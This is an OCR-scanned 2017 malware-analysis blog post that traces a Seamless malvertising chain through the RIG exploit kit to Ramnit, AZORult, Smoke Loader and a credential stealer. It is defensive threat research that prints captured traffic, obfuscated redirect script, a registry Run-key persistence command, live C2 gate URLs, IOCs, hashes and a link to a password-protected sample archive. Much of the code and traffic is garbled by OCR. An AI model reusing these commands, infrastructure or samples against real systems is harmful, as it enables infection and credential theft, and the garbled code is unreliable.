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Although there continues to be an overall decrease in EK activity I'm still seeing a decent
amount of malvertising leading to EKs. One campaign that | run into a lot is Seamless. It's
like other malvertising campaigns in that much of the traffic originates from streaming video
sites. These kinds of sites make good targets for threat actors as they get a lot of traffic and,
more importantly, they often have poor advertising standards. The site | used for this infection
chain is in Alexa’s top 900 global sites and top 800 for the United States. Further analysis
reveals that the site received an estimated 13,970,000 visits over the last 30 days. That's a
lot of potential victims.

Below is a very basic flowchart of the infection chain:
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A 2

JS on landing page grabs
timezone info from user
and POST data back to
194.58.38.50/usa/

Below is a breakdown of each of the events leading to the Seamless campaign and then to
RIG EK.
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GET [splash-zones-split. phpttype-Bisain_zones23163654F ] Ionck_zone-23168530r «f - 288016-T]
Accept: textfhtml, application/shtelizml, */*

Accept-Lunguage: &n-US

User-Agent: Morilla/S.8 (Wwindows WT 6.1; Trident/7.8; rv:11.@) like Gecko

Accept-Encoding: grip, deflate
Hozt: syndication. exdynse

yr-sovet« S =1 TTP/1.1

HITE/1.1 382 Found
Server: ngind
Oxte: Sat, 22 Jul 2017 89:18:82 BT
Content-Type: text/htel; charset=UTF-§
Transfer-Encoding: chunked
Corewetion: keep-alive

i expires=Sun, 23-Jul-317 @9:10:02 6MT; Max-Age-B6409; path=/; domaine.cudymsrv.com

wxpires=Sun, 23-Jul-2847 @0:10:00 GMT; Max-Age-B&ibd; path=/;

domaine , exdynsrv., con
Location: heep://tabeu. veluuetrk, cond v Luue, TG

asc
war ads_priv = decusent.lecation. protecel & *//syrdication exdynsry. confads-priv.php”;
war c_names"splash_i*}1f{-lasdocument. cookile. indextf(c_nsme+"a®]]{var enpires,datesnew Datejdate. setTime(dute.getTine| |+31536e8), enpiresa®) explrese®sdate. tofTString] ], valuea"Erue®, 1sTEafunction{L){this. usedzvar

e=thiv.un. indect ("ssie ");if(es@)return pacselnt(this. ua.substring{e+5, this va.dndesOF (.7 0} ), 28] ;8 (this.un. indeF [ "trident/") =8} [var t=this.us. Sndexf("rv:")jreturn parselnt{this.ua. substring(t+¥, this.ue.indexdF(". ", £)], 180}
war methis.us.indestf|sdge /" );return no0QRparssTat(this ub. substring{nes, this. ua. indesf (*. %, n) ) 28] }, Losafari-funceion{i}{this. us=1; try[return! lnindow. safard] | -1!

wthis, un, indewF{ “safari ™} BE-1smethis, us, indexdf  “chroms " |38-1essthis,ua, indestF{"crios™)jatchie ) {return 1]}, dsthromesfunction]i}{this, uasi ; try{return lwindow, chrose | |11 ssthis,us, indestF{crios™)] |

Bmmaiiio . AEvigater  vender  indest | *Geogle™) A8 1 eathis us. index0f ("chrose” ) jeateh{e) [returnl 1] ], EsF irafanafunction] i) {Ehis . ua=ijtry|Feturn-1] ~this s ndeatf (| ~Firefax™) } [returnl1}}, ge ) v

Sapdridos . nEvigator . useragent . tolowerCasel ) as{ le 1 4sTE, sufardidssafard, chrome 1isChrome, firefon: LsFirefox}, tamull; for (browser_key in e){var nse[browser_lkey] ;4F(1en(i)){t=browser_key)break}}raturn t;,cmuwxm-ﬁm:cim:i,n{uur
t={chrome:isChrone Incogni IEIncognite, safari- ivtafarilncagnite, Firefox isFirefoxincognite}; 8F( "Functionw=typeof e[i]){var n=t[i];n(e)}else (11} }, islEIncagnitomfunceion(i}{if(this.browanr. EsIE610)return i(11),!
13try{ 4 {window. LndewedD? Jeateh(e)(L(11)}}, LsSafart Incognito~funceion{1){try {window. localStorsge. setTten] “check”, 1), window. LocalStorage. getTtan( "chbck” ) window. localStorage. resoveTten] " chack™), 4( 1) jestonie) {11

1,k i try 1 1wSyrs b o nddwe, webkd tRequastP i LS o tem{window., TEMPORARY, 1, Function{ J{1( 11)}. bind [ this) , Fumction(}{1( 18]}, bind(thiz}}si (11} }eatch(e){i(]
1;]] u.nm'aurnm|n1m-ruu-uun(L;I{ur e3try(emuinden. apen|~zest”) e tien|)((5) ] Bind(this) & onsuccess=Tunctien){L[!1)) BEnd( this) Jeateh(t) {1{18]) ] jvar browsersgetBrowser(); Lf (pullemstiremser]
{1 {docusent. cookiesc_name+"=falze"t+expires+®; pathe", mullsssdocusent. getElementByld (“ads_priv®)){var isdocusent.cresteElesent{"script™)ji. ide"ads_priv®,i.srcesd:_priv4™Fi=8",document . body. appendChild(i)}elze

ehackIncognitelbrowsar, Function{§) [§F(dotummt, cooklem_nuset™="tLHupirass™; pathe/" ,nullomdatimert. prtE Losentiy LA -5ds_priv-} }i=1reiFl:0iver smdocumnt crestelLasent{-script=);n. id=-sde priv" o, srcmeds privi-?
im"#1, docusent. body . appendChildfe)}})}
]

Syndication.exdynsrv.com returns a 302 Found and points to a new location
at tgbeu.voluumtrk.com. This subdomain uses Voluum’s
web analytics system to collect statistical data.

We then see a GET request for a resource located at tgbeu.voluumtrk.com. The server
responds with 302 Found and points to the Seamless infrastructure at 194[.]58[.]138[.]50/usa:

GET fwolun, I HTTF/L. 1

Accepts tewt/hbwl, spplication/xrimlieel, */%

Arcept-Limguage: en-US

User-Agent: Mozilla/5.8 (Windows NT 6.1 Trident/7.8; rv111.8) like Gecko
Accept-tncoding: grip, deflste

Connection: Keep-Alive

Hosti tgbeu.voluustrk, com

HTTR/4.1 32 Found

Cache-Comtrali no-store, no-cache, pre-checksd, post-checkss

Dwte: Sat, I2 Jul 2017 B9:1R:0¢ GMT

Thu, ©1 Jan 1970 @9:@b:08 GMT

It ff194, 58,38, 58/ uss

Pragma: no-cache

Server: mgla

Set-Conicie: I ; (o iinstgbey  voluustrk, com; Pathel; Hetponl:
Set-Cockie: voluus-cid- “— Oomain=tqbeu. voluumtok.com; Expirms=iun, 33-Jul-2018 89:18:02
GHT; Pathe/; I!ttpﬂnly

Content-Length:

Cennection: bwv -alive

194[.]58[.]38[.]50/usa redirects to 194[.]58[.]38[.]50/usa/:
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GET fusa HTTP/1.1

Accept: text/html, application/xhtml+xml, */*

Accept-Language: en-U5s

User-Agent: Mozilla/5.8 (Windows NT 6.1; Trident/7.8; rv:11.8) like Gecko
Accept-Encoding: gzip, deflate

Connection: Keep-Alive

Host: 194.58.38.58

HTTP/1.1 381 Moved Permanently

Server: nginx/1.16.2

Date: Sat, 22 Jul 2017 @9:18:83 GMT
Content-Type: text/html; charset=iso-3859-1
Transfer-Encoding: chunked

Connection: keep-alive

Location: http://194.58.38.58/usa/

136

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.8//EN">
<html:<head:>

<title>3@1 Moved Permanently</title>

</head><body:>

<hl:Moved Permanently</hlx

<p>The document has mowved <a href="http://194.58.38.58/usa/">hered/a>. </ /p>
<hrz

<address»fApache/2.2.15 (Cent05) Server at 194.58.38.58 Port 88</address:
</body></html>

e

JavaScript gets the time zone information from the user:

GH Susad WTTR/L, 1
aczepts teatfhtal, splicetisnfshteliml, 0
_ucep -Languspe en-US

@ [Windows NT 6.1 Trident/T.0; rv:11.9) like Omcko

Aliuw
Hosti 19 ss::asa

wTTRAL 0

3 ngins

Tuter Sat: 22 Jul :an BaaLB B GHT
Content-Type: text/h

Transer- ncading: (hmlven
Conneetion: kesp-a

llmml; ﬂlﬂ.f“i1|

ey
IBOCTYPE HTML PUBLIC o/ AWSCATOTD HTML 4,81 Transitbonald/EN™ "hEtp: /. wd.org/TR{htalé/ loose  ded™s
chtuls

<hewds

cxtyluohtal [display: none; Fefstyler
sserlpt type="test!favaseript” s -'.-'.-'<dnh cloudflare. conufux/Lins/ Jquiry/3 .47 Jquery
snsript types"tent/javarsript” wres" oo wdélace. com/wja Liie/ fusiaszanadatact 1.0
<sc 1e(par mnrdcm ne

5" .-'xrlp:

tz.m
So75tring, nomthrcodeLer i i e L et | e oy [ecc)]d.[c]lletc] ke [rmcmn(m O [ T
VB Dk et (23730 {80°8°)BE1G Foh A(]H. (K", 34, 133 F 500 8 gedon().of];0 i eed*2%,%g%, /i) - ulB. v ] jemy "u", "x-y-1% £=i 55, %A =B {10 e=d D) ;8. E({P:
:3[a\il><aJ 1\1\; Siekr, var] o caent -\cleIlua(mnlseMIanalul(sl eamuullnmeu||||||-\e-|wumeqmr|om|a T 12140 L1 AL IRLSpohseHeagers | EoLtmirCase |GoaEIatntTRLEStnge L 15cs o] e AooELE|con 4 crente] ua]
prvies| st - L hewf |type | POST | duta] &z |rnFerrar he | suscess Lol apkiti |10, 1
sacta hEtp-qulu="Content Type™ sontent- R Lert/henl) ehatamedrTe.gis
{tlusCavinstamalatas. net - Tamplets Lejtitles
e L o e ptien gues here.”
imata names"Reyderde® contant="kaywordl, kaywor yoeod
<1ink hrefa™style, css” rela"styleshess” types"test/css™s
-

Time zone information is POSTed back to the server. The server responds with script that
redirects the host back to another resource located at tgbeu.voluumtrk.com:

POST Jusa/ HTTP/L.1

accepts %

Eontent-Type: application/s-wew-form-urlencoded; charset=UTF-§
dth: WiiHttpRequest

194. 58 .38, 58/ usa/

B

1la/5.8 (Windows WT 6.1; Trident/7.8; rv:11.8) Like Gecko
Wost: 154,58,38.58

Centent-Length: 189

Connection: Keep-Alive

Cache-Control: no-cache

g o
w-powered-by php's'\s

HTTR/1.1 208 OK

Server: npime/1.18.2

Date: Sat, 23 Jul 2817 @0:12:54 GMT
Content-Type: tawt/htal
Transfer-Encoding: chunked
Egnnection: keep-alive
H-Powered-By: PHR/S.3.3

AT
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Traffic is being filtered at this point, with unwanted traffic being redirected to benign sites that
break the infection chain.

Continuing with the infection chain we see tgbeu.voluumtrk.com redirect to
tgbeu.redirectvoluum.com:

e L o v L T
sceapt: taxtiheml, applicationshtalisal, */*

Fafarar) hetp//194,59, 38,
heen

s
Mozhlind5, B (Windews AT 6.1F Trident/7.85 rvikl,8) lise Geckn
Lats

WITR/L.L 208 0K
CachesContral: nosstoce, no-cache, preschecksd, postschecisd

: Domsinstsheu_volwmtrk cos; Explresssun, 25-Jul-T010 99:12:34 OAT; Pathef; Wetponly

Ezrmection: kosp-alive

chtmlschmadsconta http-aguive”refresh® contents"D; 1AL http:/tgbeu. redirectveloum. con: 80/ redirect FargetsDASI SR RRCOoYL 2E SHCA1DCA1 DCA IS aded e <o S - >
bz e badyresordptawdndo, 2437 Lseaut { Functlan Hindndow, locatlan. replace] 'hitpr/d tabeu, redirectyal 84/ redirect it s AR
by fhimls

This time the URL contains some Base64 encoded data, which decodes to the Seamless
gate:

GET /redirect?targetBASEELaHRBCIOVL ZESHLOCH] 08 305 zakid w8 L o 4 7 TF 1. 1
#coepts text/htnl, applicationranealtael, T4° —

Referer: hEp://tqbeu. voluertri. comwo s I
Acept-Language! en-US

Uner-Agent: Mozille/5.@ (Mindews MT 6.1; Trident/7.8; rvill.8) like Gecks

Accept-Encoding: grip, deflate

Hosti tgbeu.redirectvolusm. com

Comrwetion: Keep-Alive

HTTFIL,1 208 0K

Cache-Contral: ne-stecs, mo-cache, pre-check=8, post-check=i
Content-Type: text/himlscharset=UTF-8

Oate: Sot, 23 Jul 2007 89:12:54 41

Ewpires: Thu, 81 Jan 1978 B8:88:88 GMT

ngth:
Comnection: keep-alive

<htmlrcheadyometa hitp-eguive"refresh® contents"@;URL="http://194.58.58. 78 signups.php' " /o< headribodyrescriptwindow. setTimeout( function( ) {window. Location. replace] http: /154 58.58. 78/ signupd .php ) 1 b @)3cfscriptae/bodysd himly

The Seamless gate returns an iframe containing the location of the RIG EK landing page:

GET /signup4.php HTTP/1.1

Accept: text/html, application/xhtml+xml, */*

Referer: http://tgbeu.redirectvoluum.com/redirect?
target=BasEedaHREcDovLzESNCA10ca10c43McozawdudXseLnEec A N
Accept-Language: en-US

User-Agent: Mozilla/5.@ (Windows NT 6.1; Trident/7.8; rv:11.8) like Gecko

Accept-Encoding: gzip, deflate

Host: 194.58.58.78

Connection: Keep-Alive

HTTR/1.1 288 0K

Server: nginx/1.10.2

Date: Sat, 22 Jul 2817 @9:12:55 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3

193
</HEAD>

<BODY >
<iframe width="58@" scrolling="no" height="508" frameborder="588" src="http://188.225.87.49/?

MTA3MjUZNDI4&s1lim=Wy BSPZ(sR_peUFrA-2Vj8x7BBcpkmxReD6zVRmehMUwdS4wgbn T3 IRKDKrxVyVerMyUF jIep8voBzAUia7Nz1xiPalQgteq -
yKILV12ZUuBnew=x3_QdPWdaR2PCIFCM_rd TKFHMUZOH@eKwY -

fmrDTFSyoejahz7a5EhzxBVytSOvTgfIOLLZSIgGy jBqBOQcBneF cEFtKIvEskECVyEBdw]&tweaks=MjUIMTUZNDc=&before=Mz IBMDExNZU=""
</body>
]

Seamless continues to drop Ramnit (qzsn3aad.exe found in % TEMP%) via RIG EK. Post-
infection Ramnit traffic shows DNS queries for DGA domains:
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Active C2 traffic via TCP port 443:

e 185.118.65.143 — hdyejdn638ir8.com
o 46.17.44.131 — eppixrakqeueuttiuvi.com
e 185.159.129.127 and 194.58.112.174 — tmgmgjcvt.com

After the initial malware payload dropped | decided to restart my host and noticed additional
downloads for “satbin.exe” (AKA V3.exe and javasch.exe), “AU2_EXEsd.exe” and
“Loader.exe” (AKA Lw321.exe), which were all located at steelskull[.Jcom.

£ http:/ /www.steelskull.com/wp-content,/themes /twentyfifteen/ - Internet Explorer

“~ (ol Ié http: v, steels il comfwp-content (themes twentyfifteen/ pﬂ (2 steetskul.com x |_- (b5 el

Steelskull.com, created on 11/16/2015, appears to be a hacked site that sells steel Biker jewelry in the
shape of skulls.

Below is an image of the GET and POST requests associated with the malvertising
chain, RIG EK activity, additional downloads, and the post-infection traffic:
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https://malwarebreakdown.files.wordpress.com/2019/07/40feb-dc56f-dns-traffic.png
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The first GET request for additional files after | restarted my host was for satbin.exe. Running
satbin.exe (AKA V3.exe and javasch.exe) generated POST requests to
103.253.27.234/teststeal/gate.php. The User-Agent used during these POST requests

was “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET
CLR 2.0.50727).” We can also see it using api.ipify.org to grab the host external IP address.

& HTTP requests

URL: http://103.253.27.234eststeal/gate php
TYPE: POST

USER AGENT: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; NET CLR 1.1.4322; .NET CLR 2.0.50727)
@ DNS requests

api ipify.org (23.21.138.252)

= TCP connections

23.21.73.217:443
103.253.27.234:80

= UDP communications

<MACHINE_DNS_SERVER=>:53

Further research shows that satbin.exe (AKA V3.exe — found in %LOCALAPPDATA% and
javasch.exe — found in %APPDATA%) dropped javasch.js in %APPDATA%:

Analysed 4 processes in total.

L @ Input Sample (PID- 172)

& crnd.exe /c copy "C:\babd9eb251ebebe53fda65c3d070200c1362b6d8cc619543b3d31c433d8608bb.exe” "%APPDATAY: \javasch.exe (PID: 328
4= @

11 reg exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Java Update Scheduler" /d "wscript.exe \'"'%APPDATA%\javasch js
N\ /F(PID: 2644) 2 @

i javasch exe (2del[C:\babd9eb2 5lebebe53fda65c3d070200c1362b6d8cc619543b3d31c433d8608bb.exel]) (PID: 2440)

#¥ Logged Script Calls | 2 Logged Stdout Bl Extracted Streams | B Memory Dumps

@ Reduced Monitoring | =F Network Activity | &k Network Error # Multiscan Match
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@roonims =0l x|

'ﬂl J = Local Diske () = Users = 'WAnT 32bk - AppData - Roaming - * |53 | Search fnaming L2
Crganize v Inchude in lorary v Sharsomith v ey fokder = + 7| &
r Farcrbes = s Diate rodfied | rope Som | |
Bl Deskiop Adeba L2BIZ016 1006 P Fibs lokder
& Domnloads Iderities S{USZ00E 1ZTPM Pl Fokder
£, Acork Plerces Macromadia A{E0[2017 1206 AN File fokder
Tpa— Microsoft TIZZf201T 2136 B File foldes
i Docunents Meull W06 1227 AM  File Fokler
o i Sun 4{3{Z00T LLSTFH  File folder
| Pictures = B jvasch,axs MELZT 20T A Appicalion 190 KB
B e [F] 1vaschigs E{24/20082 12:00 AM  JScripk Soript File 23K
| S j
B e

Opening javasch.js.txt in Notepad++ shows a lot of garbage, however, switching the
language to JavaScript quickly reveals the real code:

Credit to my friend “IRDivision”
Login panel:

,é Authorization - Internet Explorer B ]
@ | = |® hip:j/103.253.27. 234 teststeal oo O =] 4+ ® puthorization X | |

B/

e T

Authonzation
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The second GET request for additional files after | restarted my host was
for AU2_EXEsd.exe, which was identified by @Antelox (thanks again!) as AZORult Stealer.

LADIR

Logo for AZORult Stealer
Post-infection traffic caused by AZORult shows POST requests to parking-
services.us/gate.php, which currently resolves to 185.100.222.41.

& HTTP requests

URL: http://parking-services.us/gate.php
TYPE: POST
USER AGENT: None

@ DNS requests

parking-services.us (185.100.222.41)

= TCP connections

185.100.222.41:80

Login panel:

,-é http://parking-services.us; - Internet Explorer - |EI|5|

@; - I'E‘-% hittp: ffparking-services, us/ pj +4 @ parking-services,us X | | {;.D i\? {E}
Passwmd:l = I
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Below is a list of capabilities offered by AZORult Stealer.
Steals saved passwords from following programs (Browsers, Email, FTP, IM):

e Google Chrome
e Google Chrome x64
e YandexBrowser
e Opera

e Mozilla Firefox
e InternetMailRu
e ComodoDragon
e Amigo

e Bromium

e Chromium

e Outlook

e Thunderbird

o Filezilla

e Pidgin

e PSI

e PSI Plus

Steals cookies from browsers and forms (form history, autofill):

e Google Chrome

e Google Chrome x64
e YandexBrowser

e Opera

e Mozilla Firefox

e InternetMailRu

e ComodoDragon

e Amigo

e Bromium

e Chromium

Bitcoin client’s files

Collects wallet.dat files from popular bitcoin clients (bitcoin, litecoin, etc)
Skype message history

Grabs files from chat history. Files are read with special utilities.

Desktop files grabber
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Collects files with specified extensions from Desktop. Filter by file size. Recursively
searches files in folders.

List of installed programs
List of running processes
Username, computer name, OS, RAM

Images taken from forums:

11/16


https://malwarebreakdown.wordpress.com/2017/07/24/the-seamless-campaign-drops-ramnit-follow-up-malware-azorult-stealer-smoke-loader-etc/azorult-3/

12/16


https://malwarebreakdown.wordpress.com/2017/07/24/the-seamless-campaign-drops-ramnit-follow-up-malware-azorult-stealer-smoke-loader-etc/azorult-1/

" hitpsiyandme |
] hitp vk comy' ] 5]
hitps Fyandex_ n |
hitpoivie com 3

AZORult sample reversed by Vitali Kremez:

http://www.vkremez.com/2017/07/lets-learn-reversing-credential-and.html

The third download was for Loader.exe (AKA Lw321.exe), which was identified by Hybrid-
Analysis and @Antelox as Smoke Loader. Post-infection traffic from this sample shows
POST requests to zabugrom.bit/smk2/ — resolving to 109.169.89.50.

Additional Pictures of the File System After Infection
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https://malwarebreakdown.wordpress.com/2017/07/24/the-seamless-campaign-drops-ramnit-follow-up-malware-azorult-stealer-smoke-loader-etc/azorult-2/
http://www.vkremez.com/2017/07/lets-learn-reversing-credential-and.html
https://twitter.com/Antelox
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https://malwarebreakdown.wordpress.com/2017/07/24/the-seamless-campaign-drops-ramnit-follow-up-malware-azorult-stealer-smoke-loader-etc/temp-80/
https://malwarebreakdown.wordpress.com/2017/07/24/the-seamless-campaign-drops-ramnit-follow-up-malware-azorult-stealer-smoke-loader-etc/appdata-local-2/

Wmykempi -lolx]

‘é( :Jv| . = Local Disk {(C:) ~ Users ~ Win7 32bit ~ AppData = Local + ryvkemfpi - m I Search mykemfpi m‘
Organize *  Incdudein lbrary «  Share with + Mew Folder 4= =« m .@.
& - e .
- Favorites Mame Date modified | Type | Size | |
B Desktop B roquiyvexe 7iz2i2017 213 8M  Application 263KE
4 Downloads
1= Recert Places
- Libraries
3 Dacuments
B LI
IOCs

52.52.15.205 - tgbeu.voluumtrk.com

e 54.183.53.133 — tgbeu.redirectvoluum.com

e 194.58.38.50 — Seamless campaign

e 194.58.58.70 — GET /signup4.php — Seamless gate

e 188.225.87.49 — RIG EK

e 185.118.65.143 — hdyejdn638ir8.com — Ramnit C2

e 46.17.44.131 — eppixrakqeueuttiuvi.com — Ramnit C2

e 185.159.129.127 and 194.58.112.174 — tmgmgjcvt.com — Ramnit C2
e 46.105.57.169 — steelskull.com — Hacked site serving up malware

e 185.100.222.41 — parking-services.us — POST /gate.php — AZORult stealer
e 103.253.27.234 — POST /teststeal/gate.php

e 109.169.89.50 — zabugrom.bit — POST /smk2/ — Smoke Loader

Hashes

SHA256: 83df67f6fcec4015d345684e31773eb3488295703de09306eadf34fe3bc0b420
File name: RIG EK landing page at 188.225.87.49.txt

SHA256: 5aa4502dc361d3d913ea5443c15e59831bc1db3b696f0d5347442744b36€957b
File name: Flash exploit from RIG EK at 188.225.87.49.swf

SHA256: €98a80523922ac53858990234332cb9badc74eed4d3e2c5764d4d7b1fb7{84e10
File name: 032.tmp

SHA256: 7c73071a01fd77c06e43f4500201cd2eb20991bbb4116ae47e07b6864ad0b58e
File name: qzsn3aad.exe

SHA256: babd9eb251ebebe53fda65¢c3d070200c1362b6d8cc619543b3d31c433d8608bb
File name: satbin.exe (AKA V3.exe and javasch.exe)

SHA256: cf3459cf29125101f5bea3f4206d8e43dbe097dd884ebf3155c49b276736f727
File name: AU2_EXEsd.exe

SHA256: 0b5d583fd8b03e642707678800199d265bfea5563dbde982479222365af01d24
File name: Loader.exe (AKA Lw321.exe)
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https://malwarebreakdown.wordpress.com/2017/07/24/the-seamless-campaign-drops-ramnit-follow-up-malware-azorult-stealer-smoke-loader-etc/copied-to/
https://www.virustotal.com/en/file/83df67f6fcec4015d345684e31773eb3488295703de09306eadf34fe3bc0b420/analysis/1500852884/
https://www.virustotal.com/en/file/5aa4502dc361d3d913ea5443c15e59831bc1db3b696f0d5347442744b36e957b/analysis/1500852872/
https://www.virustotal.com/en/file/e98a80523922ac53858990234332cb9ba4c74ee4d3e2c5764d4d7b1fb7f84e10/analysis/
https://www.virustotal.com/en/file/7c73071a01fd77c06e43f4500201cd2eb20991bbb4116ae47e07b6864ad0b58e/analysis/
https://www.virustotal.com/en/file/babd9eb251ebebe53fda65c3d070200c1362b6d8cc619543b3d31c433d8608bb/analysis/
https://www.virustotal.com/en/file/cf3459cf29125101f5bea3f4206d8e43dbe097dd884ebf3155c49b276736f727/analysis/
https://www.virustotal.com/en/file/0b5d583fd8b03e642707678800199d265bfea5563dbde982479222365af01d24/analysis/

Downloads

Password is “infected” — Malicious Artifacts.zip

Until next time!

Published by malwarebreakdown

Just a normal person who spends their free time infecting systems with malware. View all
posts by malwarebreakdown
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https://malwarebreakdown.com/wp-content/uploads/2017/07/malicious-artifacts.zip
https://malwarebreakdown.wordpress.com/author/malwarebreakdown/

